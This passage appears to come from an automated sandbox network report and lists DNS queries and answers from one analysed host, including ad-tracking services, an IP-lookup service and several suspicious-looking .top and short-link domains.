May 21, 2025 21:48:44.262712955 CEST	192.168.2.5	1.1.1.1	0xa955	Standard query (0)	septembergoodwine.top	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:04.261358023 CEST	192.168.2.5	1.1.1.1	0x7f23	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:04.261512041 CEST	192.168.2.5	1.1.1.1	0x7c5c	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
May 21, 2025 21:49:04.262521982 CEST	192.168.2.5	1.1.1.1	0xaa7b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:04.262644053 CEST	192.168.2.5	1.1.1.1	0x30fd	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
May 21, 2025 21:49:05.273721933 CEST	192.168.2.5	1.1.1.1	0x53a6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:05.274014950 CEST	192.168.2.5	1.1.1.1	0xac00	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
May 21, 2025 21:49:05.274162054 CEST	192.168.2.5	1.1.1.1	0xa078	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:05.274280071 CEST	192.168.2.5	1.1.1.1	0x914d	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
May 21, 2025 21:49:07.298933029 CEST	192.168.2.5	1.1.1.1	0x67a0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:08.299139023 CEST	192.168.2.5	1.1.1.1	0x67a0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:09.310266018 CEST	192.168.2.5	1.1.1.1	0x67a0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:11.326191902 CEST	192.168.2.5	1.1.1.1	0x67a0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:15.327557087 CEST	192.168.2.5	1.1.1.1	0x67a0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 21, 2025 21:47:56.370809078 CEST	1.1.1.1	192.168.2.5	0x4291	No error (0)	www.google.com		142.250.101.105	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:56.370809078 CEST	1.1.1.1	192.168.2.5	0x4291	No error (0)	www.google.com		142.250.101.106	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:56.370809078 CEST	1.1.1.1	192.168.2.5	0x4291	No error (0)	www.google.com		142.250.101.147	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:56.370809078 CEST	1.1.1.1	192.168.2.5	0x4291	No error (0)	www.google.com		142.250.101.104	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:56.370809078 CEST	1.1.1.1	192.168.2.5	0x4291	No error (0)	www.google.com		142.250.101.99	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:56.370809078 CEST	1.1.1.1	192.168.2.5	0x4291	No error (0)	www.google.com		142.250.101.103	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:56.370865107 CEST	1.1.1.1	192.168.2.5	0xe854	No error (0)	www.google.com			65	IN (0x0001)	false
May 21, 2025 21:47:57.652399063 CEST	1.1.1.1	192.168.2.5	0x972f	No error (0)	gogocharters.com		18.188.153.65	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:57.652781963 CEST	1.1.1.1	192.168.2.5	0xdaef	No error (0)	gogocharters.com		18.188.153.65	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:59.124867916 CEST	1.1.1.1	192.168.2.5	0x897c	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:47:59.124867916 CEST	1.1.1.1	192.168.2.5	0x897c	No error (0)	j2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:47:59.132965088 CEST	1.1.1.1	192.168.2.5	0x7578	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:47:59.132965088 CEST	1.1.1.1	192.168.2.5	0x7578	No error (0)	j2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:47:59.132965088 CEST	1.1.1.1	192.168.2.5	0x7578	No error (0)	e212585.b.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:59.132965088 CEST	1.1.1.1	192.168.2.5	0x7578	No error (0)	e212585.b.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:59.737368107 CEST	1.1.1.1	192.168.2.5	0x42f9	No error (0)	gogocharters.com		18.188.153.65	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.251.2.93	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.251.2.91	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		74.125.137.91	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		74.125.137.93	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		74.125.137.136	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		74.125.137.190	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.101.91	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.141.93	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.101.190	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.251.2.190	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.141.136	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.141.91	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.141.190	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.251.2.136	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.101.136	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193094015 CEST	1.1.1.1	192.168.2.5	0x211a	No error (0)	youtube-ui.l.google.com		142.250.101.93	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.193680048 CEST	1.1.1.1	192.168.2.5	0x28ac	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.193680048 CEST	1.1.1.1	192.168.2.5	0x28ac	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
May 21, 2025 21:48:01.263526917 CEST	1.1.1.1	192.168.2.5	0x6a07	No error (0)	myvocabulary.com		54.175.154.40	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.445480108 CEST	1.1.1.1	192.168.2.5	0xf744	No error (0)	clients.contology.com		50.57.243.90	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	secure.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	xandr-g-geo.trafficmanager.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.151.60	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.148.251	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.148.252	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.150.241	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.151.36	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.151.69	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.677984953 CEST	1.1.1.1	192.168.2.5	0xc1ec	No error (0)	ib.anycast.adnxs.com		104.254.151.68	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.679286003 CEST	1.1.1.1	192.168.2.5	0x566c	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.679286003 CEST	1.1.1.1	192.168.2.5	0x566c	No error (0)	c2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.679794073 CEST	1.1.1.1	192.168.2.5	0x7c2f	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.679794073 CEST	1.1.1.1	192.168.2.5	0x7c2f	No error (0)	ipv6-2.6sc.co.edgekey.net	e212585.dscb.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.680325031 CEST	1.1.1.1	192.168.2.5	0xf407	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.680325031 CEST	1.1.1.1	192.168.2.5	0xf407	No error (0)	ipv6-2.6sc.co.edgekey.net	e212585.dscb.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.680325031 CEST	1.1.1.1	192.168.2.5	0xf407	No error (0)	e212585.dscb.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.680325031 CEST	1.1.1.1	192.168.2.5	0xf407	No error (0)	e212585.dscb.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.716274977 CEST	1.1.1.1	192.168.2.5	0x6261	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.716274977 CEST	1.1.1.1	192.168.2.5	0x6261	No error (0)	c2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:01.716274977 CEST	1.1.1.1	192.168.2.5	0x6261	No error (0)	e212585.b.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.716274977 CEST	1.1.1.1	192.168.2.5	0x6261	No error (0)	e212585.b.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.845761061 CEST	1.1.1.1	192.168.2.5	0xa105	No error (0)	epsilon.6sense.com		75.2.108.141	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.845761061 CEST	1.1.1.1	192.168.2.5	0xa105	No error (0)	epsilon.6sense.com		99.83.231.3	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.645430088 CEST	1.1.1.1	192.168.2.5	0xa1da	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:02.645430088 CEST	1.1.1.1	192.168.2.5	0xa1da	No error (0)	b2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:02.645430088 CEST	1.1.1.1	192.168.2.5	0xa1da	No error (0)	e212585.b.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.645430088 CEST	1.1.1.1	192.168.2.5	0xa1da	No error (0)	e212585.b.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.645762920 CEST	1.1.1.1	192.168.2.5	0xc0f	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:02.645762920 CEST	1.1.1.1	192.168.2.5	0xc0f	No error (0)	b2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:02.905807018 CEST	1.1.1.1	192.168.2.5	0x33b2	No error (0)	www.google.com		142.250.101.103	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.905807018 CEST	1.1.1.1	192.168.2.5	0x33b2	No error (0)	www.google.com		142.250.101.106	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.905807018 CEST	1.1.1.1	192.168.2.5	0x33b2	No error (0)	www.google.com		142.250.101.105	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.905807018 CEST	1.1.1.1	192.168.2.5	0x33b2	No error (0)	www.google.com		142.250.101.99	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.905807018 CEST	1.1.1.1	192.168.2.5	0x33b2	No error (0)	www.google.com		142.250.101.147	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.905807018 CEST	1.1.1.1	192.168.2.5	0x33b2	No error (0)	www.google.com		142.250.101.104	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.907860994 CEST	1.1.1.1	192.168.2.5	0x1bef	No error (0)	www.google.com			65	IN (0x0001)	false
May 21, 2025 21:48:03.140513897 CEST	1.1.1.1	192.168.2.5	0x1e2f	No error (0)	ia-robotics.com		70.40.216.191	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.601445913 CEST	1.1.1.1	192.168.2.5	0xd8f1	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.601445913 CEST	1.1.1.1	192.168.2.5	0xd8f1	No error (0)	ipv6-2.6sc.co.edgekey.net	e212585.dscb.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.602384090 CEST	1.1.1.1	192.168.2.5	0x986f	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.602384090 CEST	1.1.1.1	192.168.2.5	0x986f	No error (0)	ipv6-2.6sc.co.edgekey.net	e212585.dscb.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.602384090 CEST	1.1.1.1	192.168.2.5	0x986f	No error (0)	e212585.dscb.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.602384090 CEST	1.1.1.1	192.168.2.5	0x986f	No error (0)	e212585.dscb.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.603679895 CEST	1.1.1.1	192.168.2.5	0x5d0d	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.603679895 CEST	1.1.1.1	192.168.2.5	0x5d0d	No error (0)	c2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.603679895 CEST	1.1.1.1	192.168.2.5	0x5d0d	No error (0)	e212585.b.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.603679895 CEST	1.1.1.1	192.168.2.5	0x5d0d	No error (0)	e212585.b.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.604094028 CEST	1.1.1.1	192.168.2.5	0x1bd9	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.604094028 CEST	1.1.1.1	192.168.2.5	0x1bd9	No error (0)	c2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	secure.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	xandr-g-geo.trafficmanager.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.148.252	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.151.36	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.151.69	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.150.241	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.148.251	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.151.68	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.605894089 CEST	1.1.1.1	192.168.2.5	0xa259	No error (0)	ib.anycast.adnxs.com		104.254.151.60	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.617628098 CEST	1.1.1.1	192.168.2.5	0xe724	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.617628098 CEST	1.1.1.1	192.168.2.5	0xe724	No error (0)	b2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.619726896 CEST	1.1.1.1	192.168.2.5	0x2774	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.619726896 CEST	1.1.1.1	192.168.2.5	0x2774	No error (0)	b2.6sc.co.edgekey.net	e212585.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.619726896 CEST	1.1.1.1	192.168.2.5	0x2774	No error (0)	e212585.b.akamaiedge.net		23.43.51.47	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.619726896 CEST	1.1.1.1	192.168.2.5	0x2774	No error (0)	e212585.b.akamaiedge.net		23.43.51.48	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.635497093 CEST	1.1.1.1	192.168.2.5	0xbcb2	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.635497093 CEST	1.1.1.1	192.168.2.5	0xbcb2	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.635497093 CEST	1.1.1.1	192.168.2.5	0xbcb2	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.842957973 CEST	1.1.1.1	192.168.2.5	0x7a0b	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.843504906 CEST	1.1.1.1	192.168.2.5	0x956f	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:48:03.843504906 CEST	1.1.1.1	192.168.2.5	0x956f	No error (0)	analytics-alv.google.com		216.239.32.181	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.843504906 CEST	1.1.1.1	192.168.2.5	0x956f	No error (0)	analytics-alv.google.com		216.239.38.181	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.843504906 CEST	1.1.1.1	192.168.2.5	0x956f	No error (0)	analytics-alv.google.com		216.239.34.181	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.843504906 CEST	1.1.1.1	192.168.2.5	0x956f	No error (0)	analytics-alv.google.com		216.239.36.181	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.974081039 CEST	1.1.1.1	192.168.2.5	0x17bf	No error (0)	stats.g.doubleclick.net		142.250.101.156	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.974081039 CEST	1.1.1.1	192.168.2.5	0x17bf	No error (0)	stats.g.doubleclick.net		142.250.101.155	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.974081039 CEST	1.1.1.1	192.168.2.5	0x17bf	No error (0)	stats.g.doubleclick.net		142.250.101.154	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.974081039 CEST	1.1.1.1	192.168.2.5	0x17bf	No error (0)	stats.g.doubleclick.net		142.250.101.157	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.040678024 CEST	1.1.1.1	192.168.2.5	0xdcf4	No error (0)	googleads.g.doubleclick.net		142.251.2.154	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.040678024 CEST	1.1.1.1	192.168.2.5	0xdcf4	No error (0)	googleads.g.doubleclick.net		142.251.2.157	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.040678024 CEST	1.1.1.1	192.168.2.5	0xdcf4	No error (0)	googleads.g.doubleclick.net		142.251.2.155	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.040678024 CEST	1.1.1.1	192.168.2.5	0xdcf4	No error (0)	googleads.g.doubleclick.net		142.251.2.156	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.040693998 CEST	1.1.1.1	192.168.2.5	0x55e	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
May 21, 2025 21:48:04.075129032 CEST	1.1.1.1	192.168.2.5	0x525d	No error (0)	td.doubleclick.net		142.250.101.156	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.075129032 CEST	1.1.1.1	192.168.2.5	0x525d	No error (0)	td.doubleclick.net		142.250.101.157	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.075129032 CEST	1.1.1.1	192.168.2.5	0x525d	No error (0)	td.doubleclick.net		142.250.101.154	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:04.075129032 CEST	1.1.1.1	192.168.2.5	0x525d	No error (0)	td.doubleclick.net		142.250.101.155	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487046003 CEST	1.1.1.1	192.168.2.5	0xc3ef	No error (0)	www.google.com		74.125.137.104	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487046003 CEST	1.1.1.1	192.168.2.5	0xc3ef	No error (0)	www.google.com		74.125.137.103	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487046003 CEST	1.1.1.1	192.168.2.5	0xc3ef	No error (0)	www.google.com		74.125.137.147	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487046003 CEST	1.1.1.1	192.168.2.5	0xc3ef	No error (0)	www.google.com		74.125.137.99	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487046003 CEST	1.1.1.1	192.168.2.5	0xc3ef	No error (0)	www.google.com		74.125.137.105	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487046003 CEST	1.1.1.1	192.168.2.5	0xc3ef	No error (0)	www.google.com		74.125.137.106	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.487502098 CEST	1.1.1.1	192.168.2.5	0x64c	No error (0)	www.google.com			65	IN (0x0001)	false
May 21, 2025 21:48:05.533669949 CEST	1.1.1.1	192.168.2.5	0xae08	No error (0)	epsilon.6sense.com		99.83.231.3	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.533669949 CEST	1.1.1.1	192.168.2.5	0xae08	No error (0)	epsilon.6sense.com		75.2.108.141	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.973670006 CEST	1.1.1.1	192.168.2.5	0xf62a	No error (0)	ia-robotics.com		70.40.216.191	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:16.869486094 CEST	1.1.1.1	192.168.2.5	0xc2dd	No error (0)	api.ipify.org			65	IN (0x0001)	false
May 21, 2025 21:48:16.869980097 CEST	1.1.1.1	192.168.2.5	0xcf8f	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:16.869980097 CEST	1.1.1.1	192.168.2.5	0xcf8f	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:16.869980097 CEST	1.1.1.1	192.168.2.5	0xcf8f	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:17.614007950 CEST	1.1.1.1	192.168.2.5	0xcac7	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:17.614007950 CEST	1.1.1.1	192.168.2.5	0xcac7	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:17.614007950 CEST	1.1.1.1	192.168.2.5	0xcac7	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:17.615045071 CEST	1.1.1.1	192.168.2.5	0x7fe8	No error (0)	api.ipify.org			65	IN (0x0001)	false
May 21, 2025 21:48:19.904501915 CEST	1.1.1.1	192.168.2.5	0x356f	No error (0)	browngreencolors.top		172.67.146.180	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:19.904501915 CEST	1.1.1.1	192.168.2.5	0x356f	No error (0)	browngreencolors.top		104.21.95.172	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:20.056550026 CEST	1.1.1.1	192.168.2.5	0xc46a	No error (0)	browngreencolors.top			65	IN (0x0001)	false
May 21, 2025 21:48:20.741235971 CEST	1.1.1.1	192.168.2.5	0xfa21	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:20.751440048 CEST	1.1.1.1	192.168.2.5	0xa57d	No error (0)	psee.io		34.239.236.43	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:20.751440048 CEST	1.1.1.1	192.168.2.5	0xa57d	No error (0)	psee.io		44.197.2.12	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:20.751440048 CEST	1.1.1.1	192.168.2.5	0xa57d	No error (0)	psee.io		54.90.20.179	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:21.612417936 CEST	1.1.1.1	192.168.2.5	0x2456	No error (0)	browngreencolors.top		104.21.95.172	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:21.612417936 CEST	1.1.1.1	192.168.2.5	0x2456	No error (0)	browngreencolors.top		172.67.146.180	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:22.735038996 CEST	1.1.1.1	192.168.2.5	0xa140	No error (0)	bitly.cx		104.21.91.178	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:22.735038996 CEST	1.1.1.1	192.168.2.5	0xa140	No error (0)	bitly.cx		172.67.177.29	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.16.1	A (IP address)	IN (0x0001)	false
